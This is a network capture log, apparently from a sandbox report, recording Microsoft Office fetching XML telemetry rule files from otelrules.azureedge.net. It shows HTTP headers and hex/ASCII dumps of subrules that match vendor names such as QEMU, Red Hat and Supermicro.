2024-11-16 03:34:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 818d7a8e-001e-005a-6101-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-1866b5c5fbb55pxzhC1DFW1aps000000029000000000729p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:07 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-16547b76f7fw2955hC1DFWsptc00000002rg00000000bv1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:07 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033407Z-16547b76f7fffb7lhC1DFWdsxg00000002dg000000009f2t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033408Z-1866b5c5fbb9m92fhC1DFWwu7800000002d0000000005pa4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:08 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 8514c3eb-001e-0082-0ba0-345880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033408Z-1866b5c5fbbqmbqjhC1DFWwgvc00000001wg0000000002k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:08 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:08 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033408Z-164f84587bfn7ppchC1DFW0meg00000001k000000000g5w7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:08 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 50ec53c4-601e-0070-35a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033408Z-164f84587bf6h2bxhC1DFWbcm800000002a000000000rvmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:08 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:08 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033408Z-1866b5c5fbbvz6qbhC1DFWsyms00000001fg000000006d5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-1866b5c5fbblmztchC1DFWs6v400000000tg00000000agu0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:09 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-16547b76f7f7zzl8hC1DFWmtag000000012000000000m8uk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 06cb6358-601e-0001-0509-37faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033409Z-1866b5c5fbbtpjhjhC1DFWr6tw000000027g0000000051ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:09 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
